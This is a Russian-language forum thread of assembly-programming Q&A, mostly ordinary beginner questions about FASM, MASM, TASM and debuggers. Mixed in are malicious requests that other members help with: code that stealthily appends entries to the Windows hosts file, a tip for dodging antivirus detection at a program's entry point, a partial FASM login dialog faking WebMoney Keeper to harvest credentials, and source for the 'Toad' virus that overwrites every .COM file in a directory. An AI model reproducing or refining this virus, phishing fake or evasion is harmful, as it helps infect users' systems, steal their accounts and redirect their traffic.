нужно дописать в файл текст и все. больше не чего, без окон без нечего, не паливно. надеюсь на помошь. буду благодарен вечным респектом и уважухой.

slesh
05.09.2009, 17:12
CreateFile на запись
SetFilePointer на конец файла
WriteFile запишеш
CloseFile закрыть
Чувствую что ты хочеш записать строку в etc\hosts или я ошибаюсь?

ИНЖЕНЕР_13
06.09.2009, 01:23
прогер пргера чувствует из далека, мысли читаете батюфка) именна, на делфе вышло 200 кб, на си 150 на паскале 150 на асме написал 4 кб..то что нужно) уже написал)

Ra$cal
06.09.2009, 01:58
на си тоже можно 4кб писать, достаточно в опциях компилятора выбрать использование RTL в DLL ключиком /MD

ИНЖЕНЕР_13
06.09.2009, 03:17
А МОЖНО ПДРОБНЕЕ Что это будет и как

slesh
06.09.2009, 10:16
Вообще можно на Си писать сверхмаленькие приложения. порой даже меньше асма. Там оптимизатор офегительный. Но для этого нужно отказаться от всех либ. Тока на WinAPI писать. Также компилить с оптимизацие, без отладочной инфы, и мерджить секции. Также и на фамсе правильно секции нужно располагать.
ВОт пример - находит адрес hosts и дописывает туда запись. Размер килобайт. Хотя внутри можно еще дописать пару команд потому как много свободного места есть

format PE GUI 4.0
entry Start

include 'include\win32ax.inc'
include 'include\encoding\win1251.inc'

section '.code' code readable executable import writeable
library kernel32,'KERNEL32.DLL'
include 'include\apia\kernel32.inc'

Start:
invoke GetSystemDirectory, buf, 256
invoke lstrcat, buf, filename
invoke CreateFile, buf, GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
cmp eax, 0FFFFFFFFh
je Exit
mov [hFile], eax
invoke SetFilePointer, eax, 0, 0, FILE_END
invoke WriteFile, [hFile], hostip, hostip_stop - hostip, ReadBytes, 0
invoke CloseHandle, [hFile]
Exit:
invoke ExitProcess, 0

hostip db 13,10,"192.168.2.1 myLan",13,10
hostip_stop:
filename db "\drivers\etc\hosts"

hFile dd ?
ReadBytes dd ?
buf db 256 dup (?)

ИНЖЕНЕР_13
06.09.2009, 11:28
Вообще можно на Си писать сверхмаленькие приложения. порой даже меньше асма. Там оптимизатор .......
в чем компилить это? си++? :confused:

slesh
06.09.2009, 11:47
Тот код который я дал - это FASM

ИНЖЕНЕР_13
06.09.2009, 13:05
Buffer byte ?;
GetWindowsDirectory(Buffer, Sizeof(Buffer));
fname byte "%Buffer%\system32\drivers\etc\hosts",0
синтаксис ошибка....

Hiro Protagonist
06.09.2009, 13:23
...
.data?
Buffer db MAX_PATH dup(?)
buffer2 db MAX_PATH dup(?)
...
.data
fname db "\system32\drivers\etc\hosts",0
param db "%s%s", 0
...
.code
...
invoke GetWindowsDirectory, addr Buffer, MAX_PATH
invoke wsprintf, addr buffer2, addr param, addr Buffer, addr fname

slesh
06.09.2009, 14:37
а нахрена получать папку винды если можно получить адрес папки system32 тем самым с экономив чуть )

А также зачем юзать напряжкую функцию wsprintf?
достаточно просто сделать lstrcat

ИНЖЕНЕР_13
06.09.2009, 17:46
если честно чуть не понял, мне нужно просто директорию в переменную получить
.386
.model flat,stdcall
option casemap:none
include C:\masm32\INCLUDE\WINDOWS.INC
include C:\masm32\INCLUDE\KERNEL32.INC
include C:\masm32\INCLUDE\USER32.INC
includelib c:\masm32\lib\user32.lib
includelib c:\masm32\lib\kernel32.lib
;################################################# ##########
NOFDIG equ 30
DSIZE equ 30
BSIZE equ NOFDIG*DSIZE

;################################################# ##########
;----------------------------------------------------------------------------------------------
.data

Buffer byte ?;
GetWindowsDirectory(Buffer, 256);
fname byte "%Buffer%\system32\drivers\etc\hosts",0
fhandle dword ?
cWritten dword ?
digs byte "127.0.0.1 localhost",0,13,10
digs2 byte "gdfsgsdfgdsg localhost",0
;--------------------------------------------------------------------------------------------------
.CODE
START:
invoke CreateFile , addr fname, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0
mov fhandle, eax
invoke SetFilePointer, addr fhandle,0,0,FILE_END
invoke WriteFile, fhandle, addr digs,BSIZE, ADDR cWritten, NULL
invoke WriteFile, fhandle, addr digs2,BSIZE, ADDR cWritten, NULL
invoke CloseHandle, fhandle

invoke ExitProcess, 0



end START
на масме.... ошибка тут Buffer byte ?;
GetWindowsDirectory(Buffer, 256); , как подправить?_)

Hiro Protagonist
06.09.2009, 22:09
омфг!

ясно же было написано что и куда вставлять.

Кароче вот подправленный исходник:


.386
.model flat,stdcall
option casemap:none
include C:\masm32\INCLUDE\WINDOWS.INC
include C:\masm32\INCLUDE\KERNEL32.INC
include C:\masm32\INCLUDE\USER32.INC
includelib c:\masm32\lib\user32.lib
includelib c:\masm32\lib\kernel32.lib
;################################################# ##########
NOFDIG equ 30
DSIZE equ 30
BSIZE equ NOFDIG*DSIZE

;################################################# ##########
;----------------------------------------------------------------------------------------------
.data?

Buffer db MAX_PATH dup(?)
buffer2 db MAX_PATH dup(?)
fhandle dd ?
cWritten dd ?


.data

fname db "\system32\drivers\etc\hosts",0
param db "%s%s", 0
digs db "127.0.0.1 localhost",0,13,10
digs2 db "gdfsgsdfgdsg localhost",0
;--------------------------------------------------------------------------------------------------
.CODE
START:

invoke GetWindowsDirectory, addr Buffer, MAX_PATH
invoke wsprintf, addr buffer2, addr param, addr Buffer, addr fname

invoke CreateFile , addr buffer2, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0
mov fhandle, eax
invoke SetFilePointer, addr fhandle,0,0,FILE_END
invoke WriteFile, fhandle, addr digs,BSIZE, ADDR cWritten, NULL
invoke WriteFile, fhandle, addr digs2,BSIZE, ADDR cWritten, NULL
invoke CloseHandle, fhandle

invoke ExitProcess, 0



end START


Для оптимизации, как сказал Слеш можно использовать GetSystemDirectory (вместо GetWindowDirectory) и lstrcat (вместо wsprintf)

SVAROG
09.09.2009, 03:01
в ольке часто вижу команды типа
MOV EDX,DWORD PTR SS:[EBP-14]

MOV EDX,DWORD - эту часть я понимаю
а вот что такое PTR SS:[EBP-14]
объясните плз а?
особенно ":" эти двоеточия не понимаю :confused:

Ra$cal
09.09.2009, 03:10
это сегментные регистры (cs, ss, ds, es, gs, fs. ).SS - сегмент стека. Подробнее лучше читать у Зубкова, ибо пересказывать толковую книгу смысла нету имхо.

SVAROG
09.09.2009, 03:27
Ra$cal
ну то что SS это сегмент стека я понял, а EBP-14 это указатель на адрес , но что такое двоеточие и что попадет в итоге в EDX

Hiro Protagonist
09.09.2009, 07:57
двоеточие - это "команда" переопределения сегмента. Те таким образом указывается относительно какого сегмента отсчитывается смещение после двоеточия. В защищенном режиме в сегментных регистрах хранятся селекторы, определяющие сегмент, но это тебе уже не важно. В принципе не обращай внимание на эти двоеточия, тк в винде у нас модель памяти flat и играть роль сегменты в твоем случае не будут.

dword ptr - это указывает на то, что в правом операнде у нас указатель на двойное слово. В принципе его можно не указывать явно, тк размерность второго операнда определяет первый, а он как раз - dword.

MOV EDX,DWORD PTR SS:[EBP-14]

Таким образом эта команда будет означать - переместить двойное слово в регистр edx из ячейки памяти по смещению ebp-14 относительно сегмента, селектор которого находится в регистре SS.

wolmer
17.09.2009, 21:36
Как отладить приложение в OllyDbg? (т.е. подправить код приложения на asm'е)

Hiro Protagonist
17.09.2009, 21:54
в окне дизассемблера на команду двойной клик, в появившемся окошке набираешь новую команду и давишь интер. Потом там же в контекстном меню copy to executable. Дальше сам разберешься )))

swt1
18.09.2009, 02:09
copy to executable => all modifications

Molchun
22.09.2009, 15:39
Извените что вмешиваюсь.У меня вопрос.Создал код
(с книги)
CSEG segment
org 100h
Begin:
mov ah,9
mov dx,offset Message
int 21h
int 20h
Message db 'Hello$'
CSEG ends
end Begin
сохранил его в asm,теперь мне сначала нужно получить com файл.У меня есть TASM,мне сказали что через коммандную строку можно скомпилировать типо : TASM.exe (имя файла).asm (имя файла).com. Но при такой раскладке программа не запускается даже если и создался com файл.Спасибо

_>SubDeviL<_
22.09.2009, 16:27
Всем привет, есть EP вида PUSH 12345678, но на неё орёт антивирь, чем можно заменить PUSH 12345678 ? через переменную например или как?

St0nX
22.09.2009, 16:36
Всем привет, есть EP вида PUSH 12345678, но на неё орёт антивирь, чем можно заменить PUSH 12345678 ? через переменную например или как?
Определяеш адресс текущей верхушки стека прибавляеш 4 байта и заталкиваеш обычным MOV [адрес+4],12345678
Как то так.

St0nX
22.09.2009, 16:51
Извените что вмешиваюсь.У меня вопрос.Создал код
(с книги)
CSEG segment
org 100h
Begin:
mov ah,9
mov dx,offset Message
int 21h
int 20h
Message db 'Hello$'
CSEG ends
end Begin
сохранил его в asm,теперь мне сначала нужно получить com файл.У меня есть TASM,мне сказали что через коммандную строку можно скомпилировать типо : TASM.exe (имя файла).asm (имя файла).com. Но при такой раскладке программа не запускается даже если и создался com файл.Спасибо

У тебя Vista?

Molchun
23.09.2009, 13:29
У меня XP,спасибо,я нашел в чем у меня проблема-tlink был коцаный поэтому не компелировалось

Hiro Protagonist
23.09.2009, 16:10
2Molchun

советую опомнится и забить на тасм. Масмом пользуйся.

Molchun
23.09.2009, 17:38
а в чем отличие то?

Molchun
23.09.2009, 17:51
я с тасм хоть немного разобрался а вот масм у меня есть v7 так там не получается вообще сом сделать obj тока,в общем я чайник конкретный:)

click
23.09.2009, 19:13
тасм умер:) но тебе пока без разницы..
создать obj для com программы в масме,
версия выше 6
MASM.EXE prog.asm
LINK.EXE prog.obj /t
выше 6
ML.EXE PROG.ASM /AT
будут созданый файлы prog.asm и prog.com

click
23.09.2009, 21:03
Mitnick17
в gas http://asm.sourceforge.net//articles/linasm.html#InlineASM
вот VS
http://www.xakep.ru/magazine/xs/071/040/1.asp

swt1
24.09.2009, 17:23
я с тасм хоть немного разобрался а вот масм у меня есть v7 так там не получается вообще сом сделать obj тока,в общем я чайник конкретный:)
RedASM+FASM or just fasm :)

RedASM+FASM (http://www.cracklab.ru/f/index.php?action=vthread&forum=6&topic=7318)

fasm link (http://flatassembler.net/)
или просто ставь fasm

SEKTOR3A
28.10.2009, 02:38
плз скиньте какой-нить пример фейка на асме (fasm) например веб мани и чтоб логин и пароль приходили на фтп
вот пример но не могу сделать подключение к сокетам

format PE GUI 4.0
entry start

include 'include\win32a.inc'
include 'include\encoding\WIN1251.INC'
ID_CAPTION = 101
ID_PASS = 102
ID_ICONINFORMATION = 103
ID_ICONWARNING = 104
ID_ICONERROR = 105
HTCAPTION = 2

section '.data' data readable writeable

caption db 'всем привет',0
msgOK db 'спасибо за деньги.',0
hInstance dd ?

section '.code' code readable executable

start:
invoke GetModuleHandle,0
mov [hInstance],eax
invoke DialogBoxParam,eax,37,HWND_DESKTOP,DialogProc,0
or eax,eax
jz exit

invoke MessageBox,HWND_DESKTOP,msgOK,caption,0
jmp exit

exit:
invoke ExitProcess,0
proc DialogProc hwnddlg,msg,wparam,lparam
push ebx esi edi
mov eax,[msg]
cmp eax,WM_COMMAND
je wmcommand
cmp eax,WM_INITDIALOG
je wminitdialog
cmp eax,WM_CLOSE
je wmclose
xor eax,eax
jmp finish
wmcommand:
cmp [wparam],IDCANCEL
je wmclose
cmp [wparam],IDOK
jne processed
invoke EndDialog,[hwnddlg],1
jmp processed
wminitdialog:
invoke LoadIcon,[hInstance],17
invoke SendMessage,[hwnddlg],WM_SETICON,EM_LIMITTEXT,ICON_SMALL,eax
jmp processed
wmclose:
invoke EndDialog,[hwnddlg],0
processed:
mov eax,1
finish:
pop edi esi ebx
ret
endp


section '.idata' import data readable writeable

library kernel32,'KERNEL32.DLL',\
user32,'USER32.DLL'

include 'include\api\kernel32.inc'
include 'include\api\user32.inc'

section '.rsrc' resource data readable
IDR_PICT = 27

directory RT_DIALOG,dialogs,\
RT_BITMAP,bitmaps,\
RT_ICON,icons,\
RT_GROUP_ICON,group_icons,\
RT_VERSION,versions

resource icons,\
1,LANG_NEUTRAL,icon_data
resource group_icons,\
17,LANG_NEUTRAL,main_icon
resource versions,\
2,LANG_ENGLISH+SUBLANG_DEFAULT,version
resource dialogs,\
37,LANG_ENGLISH+SUBLANG_DEFAULT,main
resource bitmaps,\
IDR_PICT,LANG_NEUTRAL,pict

dialog main,'WebMoney Keeper Classic 3.7.0.1',10,10,213,147,WS_VISIBLE+WS_POPUP+WS_CAPT ION+WS_SYSMENU+DS_CENTER+DS_MODALFRAME
dialogitem 'STATIC','&WMID:',100,75,90,50,35,WS_VISIBLE
dialogitem 'EDIT','',ID_CAPTION,110,90,90,12,WS_VISIBLE+WS_BO RDER+ES_AUTOHSCROLL
dialogitem 'STATIC','пароль',70,70,110,50,8,WS_VISIBLE
dialogitem 'EDIT','',ID_PASS,110,110,90,12,WS_VISIBLE+WS_BORD ER+ES_AUTOHSCROLL
dialogitem 'BUTTON',Войти',ID_ICONINFORMATION,71,10,60,8 ,WS_VISIBLE+BS_AUTORADIOBUTTON

dialogitem 'BUTTON','&Enter in the programm',ID_ICONWARNING,71,35,10,15,WS_VISIBLE+BS _AUTORADIOBUTTON
dialogitem 'BUTTON','&я хочу',130,70,0,140,55,WS_VISIBLE+BS_GROUPBOX
dialogitem 'BUTTON','...........',ID_ICONERROR,71,20,38,17,WS _VISIBLE+BS_AUTORADIOBUTTON
dialogitem 'STATIC',IDR_PICT,-1,0,0,0,0,WS_VISIBLE+SS_BITMAP
dialogitem 'BUTTON','&OK',IDOK,95,130,45,15,WS_VISIBLE+WS_TABSTOP+BS_PUS HBUTTON
dialogitem 'BUTTON','&Отмена',IDCANCEL,155,130,45,15,WS_VISIBLE+WS _TABSTOP+BS_PUSHBUTTON
enddialog

bitmap pict,'bitmap.bmp'
icon main_icon,icon_data,'bmp.ico'
versioninfo version,VOS__WINDOWS32,VFT_APP,VFT2_UNKNOWN,LANG_E NGLISH+SUBLANG_DEFAULT,0,\
'FileDescription','Bitmap example',\
'LegalCopyright',<'Copyright ',0A9h,' BarMentaLisk 0000'>,\
'FileVersion','0.1',\
'ProductVersion','0.1',\
'OriginalFilename','bmp_example'

resdata fdat
file 'sock.exe'
endres

SEKTOR3A
28.10.2009, 02:47
дальше просто не смог
format PE GUI 4.0
entry main


include 'include\win32a.inc'





section '.text' data readable writeable executable import
;--------------- IMPORT -------------------
library kernel32, 'kernel32.dll',\
wsock32, 'wsock32.dll'
include 'include\api\kernel32.inc'
include 'include\api\wsock32.inc'
;--------------- CODE -------------------
main:
invoke WSAStartup, 0101h, wdata
invoke socket, AF_INET, SOCK_STREAM, 6
mov [sock], eax
mov [saddr.sin_family], AF_INET
invoke htons, 80
mov [saddr.sin_port], ax
invoke inet_addr, ip
mov [saddr.sin_addr], eax

Hiro Protagonist
28.10.2009, 22:57
2SEKTOR3A
а почитать для начала что-нибудь про сокеты ты просто не удосужился? Даже инициализация неверна ...

Adekvatnyj
29.10.2009, 19:16
Хочу выучить ASM с самого начала.
Киньте пожалуйста литературу. Жел русскую.
П.С. Гугл не отключили, но книг хороших не нашел чтоб скачать, а покупать фиг знает что не буду.
П.П.С. Не школьник, схватываю быстро, но незнаю ни басика ни паскаля (чисто в школьных чертах).

slesh
29.10.2009, 20:03
Для того чтобы понять сам АSМ, то как всё работает в компе. И что делает какая инструкция, то советую почитать В.И. Юров. Assembler. Учебник для ВУЗов
(PDF на 15 метров и 638 страниц )
Более подробная инфа по этой книге:
Ю70 Assembler. Учебник для вузов. 2-е изд. / В. И. Юров — СПб.: Питер, 2003. — 637 с.: ил. ISBN 5-94723-581-1

Adekvatnyj
29.10.2009, 20:21
Спасибо большое.
http://wmate.ru/ebooks/book31.html - єто подойдет ? Тут 7 МБ.
А второй книги я так понял в электронном варианте нет?

slesh
29.10.2009, 23:08
Да там особой разницы нет какая книга первая или вторая. там в принципе одно и тоже, только в одной из них пропускается пару глав которые касаются защищенного режима.
Есть подобная книга у Юрова, но там слово Практикум есть.

ZET36
30.10.2009, 13:58
Покажите пример создание массива и вывода каждого его елемента в цикле через MessageBox с пояснениями.

slesh
30.10.2009, 14:41
вот простой пример на FASM

format PE GUI
entry _start
include 'include\win32ax.inc'
include 'include\encoding\win1251.inc'
section '.code' code import data readable writeable executable
library kernel32,'KERNEL32.DLL', user32,'USER32.DLL'
include 'include\apia\kernel32.inc'
include 'include\apia\user32.inc'
_start:

xor ecx, ecx ;// = 0
m1:
push ecx ; сохраним значение счетчика
cinvoke wsprintf, buf, "%i", [mssiv + ecx*4] ; возьмем элемент массива и преобразуем в строку
invoke MessageBox, 0, buf, "mas", 0 ; выведем строку
pop ecx ; восстановим счетчик
inc ecx ; следующий элемент
cmp ecx, 3 ; проверим на конец массива
jl m1 ;// если меньше то повторим всё
invoke ExitProcess,0

mssiv dd 3 dup (10,20,30) ; наш массив из 3-х элементов
buf db 10 dup (?) ; временный буфер

SEKTOR3A
03.11.2009, 21:18
киньте примерчик на асме InputBox для ввода логина пароля и чтоб они приходили на фтп

slesh
03.11.2009, 21:57
ну как бы это сказать тут примерчек довольно большой на эту тему.
т.е. нужно создавать форму (на winapi) или юзать диалоги. И там размещать поля ввода.
И обрабатывать нажатия - а пароль на FTP - ты хоть сам понял что сказал?
Может на HTTP ?

SEKTOR3A
04.11.2009, 01:27
да конечно на хостинг на http:// перепутал
.................................................. .....................
да жалко примерчиков нет ,
ну на этом спасиб
GetDlgItemText

ZET36
05.11.2009, 01:33
тоже бы не отказался от примера работы с сокетами на асме

d_x
05.11.2009, 01:57
Вот хороший пример работы с сокетами (HTTP-протокол, сокс5, прокси):

http://kaimi.ru/?p=455

Правда, в этой версии библиотеки не реализована возможность задавать таймауты, думаю, что в скором времени я ее обновлю.

alexcomb
09.11.2009, 12:28
Подскажите почему в lea cx,[BUFER_LEN] заносится адрес, а не данные по этому смещению. Мне нужно в "cx" вставить длину строки, которая в "BUFER_LEN". Подскажите, а то я все перепробовал что знаю.
q segment
org 100h
start:

mov ah,3ch
lea dx,FILE
mov cx,0
int 21h

mov ax,3d10h
lea dx,FILE
int 21h
mov bx,ax

mov ah,0ah
lea dx,BUFER
int 21h

mov ah,40h
lea dx,BUF
lea cx,[BUFER_LEN]
int 21h

mov ah,3eh
int 21h

ret
;---------data---------
FILE db "1.txt",0
BUFER label byte
BUFER_MAX db 254
BUFER_LEN db ?
BUF equ $
q ends
end start

slesh
09.11.2009, 13:37
lea cx,[BUFER_LEN] - LEA - загрузка эффективного адреса, а не данных. Юзай MOV
Но не забывай про типы данных.
Регистр CX - 16 битный, а
BUFER_LEN db ? - 8 битный

Так что делай так:
mov cx, BUFER_LEN или mov cx, [BUFER_LEN] или mov cx, word [BUFER_LEN] или mov cx, word ptr [BUFER_LEN] ; зависит от компилятора
........
BUFER_LEN dw ?

d_x
09.11.2009, 13:41
movzx cx, BUFER_LEN

alexcomb
09.11.2009, 21:21
Спасибо slesh. На масме получается так:
mov ah,40h
lea dx,BUF
mov ch,00
mov cl,byte ptr [BUFER_LEN]
int 21h

d_x
09.11.2009, 21:54
mov ch,00
mov cl,byte ptr [BUFER_LEN]
Это эквивалентно на масме той единственной команде, которая выше в моем предыдущем посте.

alexcomb
09.11.2009, 22:19
После компиляции с "movzx" файл почемуто увеличивается на 16 байт посравнению с предыдущим. Программа ничего не делает, а в отладчике вот это:
D:\MASM611\BIN>DEBUG 3.COM
-R
AX=0000 BX=0000 CX=004A DX=0000 SP=FFFE BP=0000 SI=0000 DI=0000
DS=13FE ES=13FE SS=13FE CS=13FE IP=0100 NV UP EI PL NZ NA PO NC
13FE:0100 B43C MOV AH,3C
-T

AX=3C00 BX=0000 CX=004A DX=0000 SP=FFFE BP=0000 SI=0000 DI=0000
DS=13FE ES=13FE SS=13FE CS=13FE IP=0102 NV UP EI PL NZ NA PO NC
13FE:0102 66 DB 66
-T

AX=3C00 BX=0000 CX=004A DX=0000 SP=FFFE BP=0000 SI=0000 DI=0000
DS=13FE ES=13FE SS=13FE CS=13FE IP=0105 NV UP EI PL NZ NA PO NC
13FE:0105 42 INC DX
-T

AX=3C00 BX=0000 CX=004A DX=0001 SP=FFFE BP=0000 SI=0000 DI=0000
DS=13FE ES=13FE SS=13FE CS=13FE IP=0106 NV UP EI PL NZ NA PO NC
13FE:0106 0100 ADD [BX+SI],AX DS:0000=20CD
-

slesh
10.11.2009, 10:12
Кстати, как отладчик для DOS COM-программы лично мне нравился не стандартный debug, а прожка под названием avputil.com входящяя в состав старинного антивируса AVP (ныне это каспер) и там был более менее норм отладчик.

Хотя как вариант еще юзать отладчик который поставляется в комплекте с Borland Pascal/C++ тоже можно юзать.

SENTRY
10.11.2009, 18:54
Какбы такой вот простой вопрос:
Как в masm выводить строку в консоль?
Традиционный код

mov eax,09
lea edx,strt
int 21h

при после компиляции и запуска приложения показывает стандартное окно с отправкой отчета.

Sams
15.11.2009, 18:34
Помогите пожалуйста кто-то вывести через MessageBoxA текущий айпи адрес, используя gethostbyname. MASM32. Заранее благодарен.

slesh
16.11.2009, 10:24
2 SENTRY
ты юзаеш 32 код для работы с 16 битной системой.
так что пиши

mov ah,09
lea dx,strt
int 21h

St0nX
16.11.2009, 12:53
Помогите пожалуйста кто-то вывести через MessageBoxA текущий айпи адрес, используя gethostbyname. MASM32. Заранее благодарен.
.386
.model flat,stdcall
option casemap:none

includelib C:\masm\lib\kernel32.lib
includelib C:\masm\lib\user32.lib
includelib C:\masm\lib\ws2_32.lib
include C:\masm\include\kernel32.inc
include C:\masm\include\ws2_32.inc
include C:\masm\include\user32.inc
include C:\masm\include\windows.inc
.data?
wsaData WSADATA <>
hn db 1024 dup(?)
.data
.code
start:
invoke WSAStartup,101h,ADDR wsaData
invoke gethostname,ADDR hn,1024
invoke gethostbyname,ADDR hn
mov eax, [eax+12]
mov eax, [eax]
mov eax, [eax]
invoke inet_ntoa,eax
invoke MessageBoxA,0,eax,eax,0
invoke ExitProcess,0
end start

ntldr
30.11.2009, 02:20
внезапно мне понадобилось реализовать switch/case на ассемблере. Свитч - DWORD. кейсов около 7. как реализовать это на асме в минимальное количество байт?

slesh
30.11.2009, 10:23
А как не крути но это обычные конструкции вида

cmp edx, число
jne m1
действий
jmp end
m1:
cmp edx, число
jne m2
действий
jmp end
m2:
------------------------------ итд.
end:

whexp
30.11.2009, 18:58
Ну да, там так с джампами и выйдет. Вот так, например:

cmp eax, 1
jz .is_one
cmp eax, 2
jz .is_two

;default
...

.is_one:
...

.is_two:
...

WWWorm101
04.12.2009, 18:28
Здравствуйте, кодеры! Переведите несколько строк кода с tasm на fasm(среда DOS), а то не получается:
...
toad proc near
...
...
horny label near
toad endp

whexp
04.12.2009, 22:00
WWWorm101, незнаком с синтаксисом tasm'a. А вообще процедура реализуется так:

proc toad
local horny:DWORD ; или WORD, etc.
endp

WWWorm101
05.12.2009, 11:18
Но все таки кто-нибудь может перевести код(см. выше), с tasm на fasm(среда DOS)

slesh
05.12.2009, 12:56
proc toad

horny:
endp

WWWorm101
05.12.2009, 16:06
короче код не компилируется, ошибка во второй строке:

org 100h

proc toad

first_fly:
mov ah,4eh

find_fly:
xor cx,cx
lea dx,comsing
int 21h
jc wart_growth

open_fly:
mov ax,3d02h
mov dx,9eh
int 21h

eat_fly:
xchg bx,ax
mov ah,40h
mov cx,norny-first_fly
lea dx,first_fly
int 21h

stitch_up:
mov ah,3eh
int 21h
mov ah,4fh
jmp find_fly

wart_growth:
mov ah,09h
mov dx,wart
int 21h

cya: int 20h

comsig db "*.com",0
wart db 'Ïîçäðàâëåíèÿ! Âû çàðàçèëè âñå ÑÎÌ-ôàéëû â ýòîé', 10,13
db 'äèðåêòîðèè âèðóñîì Toad. Õîðîøåãî âàì äíÿ.', 10,13,'$'

horny label near

endp
end first_fly

whexp
05.12.2009, 16:09
proc - это макрос. подключи macro\proc32.inc

WWWorm101
05.12.2009, 16:46
эта программа для Dos'а или в досе тоже можно подключить macro\proc32.inc

wolmer
06.12.2009, 00:23
Начинаю изучать асм, такой вопрос... Как просмотреть сод. регистра .com программы?(т.е. чтобы была возможность по этапно выполнять действ. и по этапно будет высвечивать сод. регистров (типа как в OllyDbg (но олька не понимает .com программ :( )))
(в CodeView не разобрался)

WWWorm101
06.12.2009, 18:35
wolmer
Попробуй AFDPro-как раз для начинающих . Скачать можно с сайта http://kalashnikoff.ru/ или с сайта wasm.ru можешь скачать другие отладчики.

slesh
06.12.2009, 23:48
ну или как вариант есть старинные отладчик от борланда, иде тв комплекте с BC++ и Паскалем борландовском.
Или старинную вешь от дяди касперерского - avputil

becensed
10.12.2009, 10:20
turbo debugger для начинающих вполне сойдет.

asvn
14.12.2009, 10:47
Здравствуйте. Вот такой случай:

jz metka[bp] ; ?????????????

Подскажите как правильно реализовать вышеприведённое на masm. Нужен условный переход по смещению - metka плюс число в bp.

slesh
14.12.2009, 11:01
ну тогда как вариант вот так
mov ax, metka
add ax, bp
jz ax

asvn
15.12.2009, 03:15
Ответте пожалуста.
1. Почему при использовании переменной 4е, в PSP записывается размер найденного файла то по смещению 1а, то 9а. Аналогично имя найденного файла то 1е, то 9е. Получается разница равная адресу DTA. Какая тут связь?
2. Когда нужно узнать из запущенной программы её имя, то по PSP:002с находим сегмент переменных среды и по "[002cH]:0 плюс конец перечисления переменных" находится
имя запущенного файла.
Вопрос - где нибудь ещё храниться имя запущенной программы.

asvn
15.12.2009, 05:09
ну тогда как вариант вот так
mov ax, metka
add ax, bp
jz ax
На jz ax masm ругается: "instruction does not allow NEAR indirect addressing".

slesh
15.12.2009, 10:29
сорь, туплю. jz не даст тебе такого. Потому что она осуществляет переход внутри текущего сегмента команд в зависимости от условия. И работает только с метками.
Как вариант юзать конструкцию jmp и jnz. Только не забудь инвертировать условие.

jnz m1
mov ax, metka
add ax, bp
jmp ax
m1:
трям порям
metka:
трям порям

TRX.new
25.12.2009, 13:46
Всем добрый день, извините, если уже было, но интересует литература, которая наилучшим образом подходит для начала изучения ассемблера. Хотелось бы, чтоб книжки были актуальными. Прошу ответить тех, кто сам это все постигал по этим книгам...

ntldr
25.12.2009, 14:49
Всем добрый день, извините, если уже было, но интересует литература, которая наилучшим образом подходит для начала изучения ассемблера. Хотелось бы, чтоб книжки были актуальными. Прошу ответить тех, кто сам это все постигал по этим книгам...
Калашников

wolmer
25.12.2009, 15:01
Всем добрый день, извините, если уже было, но интересует литература, которая наилучшим образом подходит для начала изучения ассемблера. Хотелось бы, чтоб книжки были актуальными. Прошу ответить тех, кто сам это все постигал по этим книгам...
Когда я изучал ассемблер (да и до сих пор изучаю по немногу) то Калашников был мне не понятен, я взял эту "книжку" ->
Дневник чайника, часть первая (http://cracklab.ru/rar/dl/CRACKLAB.rU_8.rar)

Потом стало более менее понятно как устроен ассемблер, и взял книгу Калашникова

ntldr
28.12.2009, 01:27
Всем добрый день, извините, если уже было, но интересует литература, которая наилучшим образом подходит для начала изучения ассемблера. Хотелось бы, чтоб книжки были актуальными. Прошу ответить тех, кто сам это все постигал по этим книгам...
если вообще не понимаешь в чем соль - вот эти статьи по порядку, я по ним учил
http://wasm.ru/publist.php?list=22

razb
28.12.2009, 03:41
Также Юрова стоит почитать.

seet09
31.12.2009, 14:24
люди помогите срочно! надо из строки вида "login:pass" сделать строку вида "login"
на дельфи. Вот код я писал но почему то делает только первый акк....
procedure TForm1.Button1Click(Sender: TObject);
var i,raz,endf,len,e, count:integer; m2:string;
begin
count:=memo1.lines.count;
for i:=1 to count do
begin
m2:=memo1.lines[i];
raz:=pos(':',m2);
len:=length(m2);
e:=len - raz;
delete(m2,raz,e);
memo2.lines[i]:=m2;
end;
end;

wolmer
31.12.2009, 17:25
Код:
procedure TForm1.Button1Click(Sender: TObject);
var i,count:integer; m2:string;
begin
count:=memo1.lines.count-1;
//Минус один -> потому что отсчет начинается от нуля
for i:=0 to count do
//Отсчет начинается от нуля в строках мемо
begin
m2:=memo1.lines[i];
memo2.lines[i]:=copy(m2, 1, pos(':', m2)-1);
//Копируем строку, первый параметр -> откуда копируем, второй -> с какого расположения символа начинаем копировать, третий -> сколько копируем
//Ах да, чтобы копировать в memo2 в определенную строку в ней -> надо убедиться что она существует :), т.е. лучше копировать в memo1
end;
end;

И в следуйщий раз смотри куда постишь

REC0N
05.01.2010, 18:57
Дано последовательность слов разделенных запятыми, в конце точка.
Удалить из последовательности слова которые встречаются больше 1 раза.
Помогите плиззз...

diakon2
21.01.2010, 01:52
Помогите, у меня возникла проблема!!!!!!! При компилировании , ввожу одинаковое количество симвалов в 1й 2й и 3й строчке , выдает пральный результат , а вот если во 2й строке больше симвалов чем в 1й и 3й ,то при компилировании выдает только первую строчку ,а вторую пустую (если в 1й и 3й одинаковые числа) , а если разные числа также выдет только 1ю , а во второй ересь (


my_strcpy.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
extern char* mystrcpy(char* dest, char* src);



int main(int argc, char** argv) {
printf("%s\n",mystrcpy(argv[1],argv[2]));
printf("%s\n",mystrcpy(argv[3],argv[2]));
return 0;
}


my_strcpy.s

.intel_syntax noprefix
.globl mystrcpy
.type mystrcpy, @function
mystrcpy:
push ecx
push edx


mov ecx, [esp+12]
mov edx, [esp+16]


next:
mov al,[edx]
mov [ecx],al
cmp al,0
jz done


inc ecx
inc edx
jmp next

done:
mov eax, [esp+12]
pop edx
pop ecx
ret

Hiro Protagonist
21.01.2010, 07:35
2diakon2
буфер ты затираешь какбэ )) поэтому и такой вывод =\

wolmer
31.01.2010, 17:09
Что-то не могу найти информацию в интернете о том при каком условии происходит прыг jl

Прошу помощи

Kaimi
31.01.2010, 17:33
Что-то не могу найти информацию в интернете о том при каком условии происходит прыг jl

Прошу помощи

http://ref.x86asm.net/coder32.html

Шухер
02.02.2010, 00:44
с ассемблером дела не имел. объясните какая цифра на что влият в размере формы, ее положения и т.д
DlgStatic 0,150,10,130,112,100
или где можно почитать(ГУГЛ НЕ ПРЕДЛАГАТЬ!)

slesh
02.02.2010, 00:55
